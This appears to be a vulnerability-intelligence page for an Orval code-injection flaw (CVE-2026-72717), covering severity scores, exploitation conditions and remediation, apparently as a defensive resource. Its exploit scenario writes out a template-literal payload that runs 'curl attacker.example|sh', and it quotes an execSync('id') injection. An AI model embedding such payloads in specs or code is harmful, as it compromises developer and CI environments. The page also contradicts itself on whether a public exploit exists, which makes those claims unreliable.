Skip to main content

Orval EUVDEUVD-2026-62657

| CVE-2026-72717 CRITICAL
Code Injection (CWE-94)
2026-08-19 GitHub_M GHSA-w727-8j6c-2rj4
9.3
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft OpenAPI/Swagger spec with ${} or backtick in schema default
  2. Delivery
    Victim runs Orval zod schema generation
  3. Exploit
    Payload emitted unescaped into module template literal
  4. Execution
    Generated zod module imported in dev/CI/test
  5. Impact
    Arbitrary JavaScript executes in that environment

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that (1) the victim uses Orval's zod schema generation, (2) the input OpenAPI v3 or Swagger v2 spec is attacker-controlled or attacker-influenced and contains a schema default value holding a ${...} expression or a backtick, and (3) the generated zod schema module is subsequently imported/loaded (which occurs automatically during typical dev, CI, test, or build/runtime flows). Limiting factors: the attacker must get their malicious spec into the victim's generation pipeline, and only the zod generator path is affected; teams that generate exclusively from their own trusted specs are not realistically exposed. No traditional authentication is bypassed and no elevated privileges on the target host are needed - the trust boundary crossed is 'untrusted spec fed to a code generator'.

Impact

The CVSS 4.0 base score is 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H), reflecting full compromise of the machine that generates or imports the client. That numeric severity is real for the impact, but the realistic risk hinges on a precondition the vector understates: exploitation requires the victim to run Orval against an attacker-controlled OpenAPI/Swagger spec and then load the generated zod module. This is a build-time/supply-chain trust boundary rather than a directly reachable network service, so it is high-impact but conditional. No EPSS score, KEV entry, or SSVC decision was provided, and there is no weaponized public POC - only the vendor advisory's illustrative payloads and the regression tests in the fix. Net: treat as a genuine high priority for any team that generates Orval clients from third-party or user-supplied API specifications, and as low practical exposure for teams that only process their own trusted specs.

Exploit ScenarioDerived

An attacker publishes or supplies an OpenAPI spec (for example a public API definition a developer decides to generate a client from) in which a schema property default is set to ${require('child_process').execSync('curl attacker.example|sh')}. When the developer or CI runs Orval to generate the zod client and the generated module is imported during build, test, or runtime, the embedded expression executes with the privileges of that environment. No standalone public exploit is identified, but the advisory and fix tests include working injection payloads.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Arbitrary code execution in Orval (orval-labs/orval) before 8.21.0 allows an attacker who controls an OpenAPI v3 or Swagger v2 specification to run JavaScript in the developer, CI, test, or application environment that generates or imports the resulting client. The flaw lives in the zod schema generator (packages/zod/src/index.ts, formatDefaultValue), which emits a schema default value containing a ${...} interpolation or backtick into a module-level template literal without safe encoding, so the payload is evaluated the moment the generated module is loaded. It is fixed in 8.21.0; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, though the vendor advisory and fixing PR include demonstrative injection payloads.

RemediationAI

Vendor-released patch: 8.21.0 - upgrade Orval to 8.21.0 or later, which escapes untrusted default/URL/path values via jsesc before they are emitted into template literals (fix in PR https://github.com/orval-labs/orval/pull/3692 and commit 8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6, advisory https://github.com/orval-labs/orval/security/advisories/GHSA-w727-8j6c-2rj4). If you cannot upgrade immediately, only run Orval against OpenAPI/Swagger specifications you fully trust and control - do not point generation at attacker-influenced or third-party-hosted spec URLs, since that removes the attacker-controlled input entirely (trade-off: blocks legitimate consumption of external specs). As additional hardening, run client generation and the subsequent module import inside an isolated, least-privilege CI/sandbox with no secrets or network egress so any injected code has minimal blast radius (trade-off: added pipeline complexity), and review generated zod modules for stray unescaped ${ or backtick sequences before committing them.

Affected VersionsENISA

orval < 8.21.0

Affected Packages

npm orval fix: 8.21.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Orval is a code generator that turns OpenAPI/Swagger contracts into type-safe TypeScript API clients and, optionally, zod validation schemas. The root cause is CWE-94 (Improper Control of Generation of Code / code injection): when generating zod schemas, Orval copies a schema's default value verbatim into emitted TypeScript that is wrapped in a JavaScript template literal (backtick string). Because template literals evaluate any ${...} expression and honor embedded backticks, an untrusted default such as ${require('child_process').execSync('id')} becomes live code in the generated module rather than inert data. The fix introduces the jsesc library (and a jsStringLiteralEscape/getKey helper) to safely escape backticks, ${ sequences, and backslashes before interpolation, and the same PR (#3692) hardens sibling sinks including server URL and route path generation (getFullRoute/getRoute, GHSA-88f2-fpv8-89q2). The single affected CPE is cpe:2.3:a:orval-labs:orval:*:*:*:*:*:*:*:*.

Know when Orval gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Untrusted spec is remotely fetchable and needs no auth or privileges (AV:N/AC:L/PR:N); import during CI/build is routine so UI:N; injected code fully compromises the host process (C/I/A:H, S:U).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 19:18 EUVD
CVE Published
Aug 19, 2026 - 17:39 cve.org
CRITICAL 9.3

DescriptionCVE.org

Orval generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to 8.21.0, a ${...} expression or backtick in a schema default is emitted into a module-level template literal emitted by zod schema generation without safe encoding. This permits attacker-controlled JavaScript to be evaluated when the generated zod schema module is imported, resulting in code execution in the developer, CI, test, or application environment. The affected code is packages/zod/src/index.ts function formatDefaultValue. This issue is fixed in version 8.21.0.

Executive ViewAI

Why It Matters

Orval, a code generation library widely used in development and continuous integration workflows, contains a critical vulnerability enabling arbitrary code execution when processing API specifications; publicly available exploit code exists. Development teams, build systems, and CI/CD pipelines are at risk, with potential compromise of source code integrity, credentials stored in build environments, and the security of generated client libraries used in production applications.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 57% exploitable
Prevalence
Medium
popular OpenAPI-to-TypeScript client generator, common in JS dev toolchains
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Orval

View all
CVE-2026-22785 CRITICAL POC
9.8 Jan 12

orval (TypeScript API client generator) before 7.18.0 has code injection via OpenAPI specification summary fields in MCP

CVE-2026-72716 CRITICAL POC
9.3 Aug 19

Code injection in Orval before 8.21.0 lets an attacker-controlled OpenAPI v3 or Swagger v2 specification execute arbitra

CVE-2026-62681 CRITICAL POC
9.3 Aug 19

Code injection in Orval before 8.21.0 lets an attacker who controls an OpenAPI v3 or Swagger v2 specification embed exec

CVE-2026-62682 CRITICAL POC
9.3 Aug 19

Arbitrary code execution in Orval before 8.21.0 arises when the code generator emits an unescaped backtick (or ${...}) f

CVE-2026-71867 CRITICAL POC
9.3 Aug 19

Code injection in Orval, a TypeScript/JavaScript API client generator, allows a malicious OpenAPI v3 or Swagger v2 speci

CVE-2026-71868 CRITICAL POC
9.3 Aug 19

Code execution in Orval before 8.21.0 occurs when its zod schema generator processes an attacker-controlled OpenAPI v3 o

CVE-2026-71865 CRITICAL POC
9.3 Aug 19

Code injection in Orval before 8.21.0 lets an attacker-controlled OpenAPI v3 / Swagger v2 specification achieve arbitrar

CVE-2026-71869 CRITICAL POC
9.3 Aug 19

Arbitrary code execution in Orval (OpenAPI/Swagger TypeScript client generator) before 8.21.0 lets an attacker who contr

CVE-2026-71864 CRITICAL POC
9.3 Aug 19

Code injection in Orval (orval-labs/orval) before 8.21.0 allows an attacker who controls an OpenAPI v3 or Swagger v2 spe

CVE-2026-71871 CRITICAL POC
9.3 Aug 19

Code injection in Orval, a TypeScript client generator for OpenAPI v3 and Swagger v2 specs, allows arbitrary JavaScript

CVE-2026-71866 CRITICAL POC
9.3 Aug 19

I analyzed the provided intelligence and produced the synthesis below. One thing to flag first: **⚠️ Prompt-injection n

CVE-2026-62680 HIGH POC
7.1 Aug 19

External $ref resolution in Orval prior to version 8.22.0 allows server-side request forgery and path traversal against

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy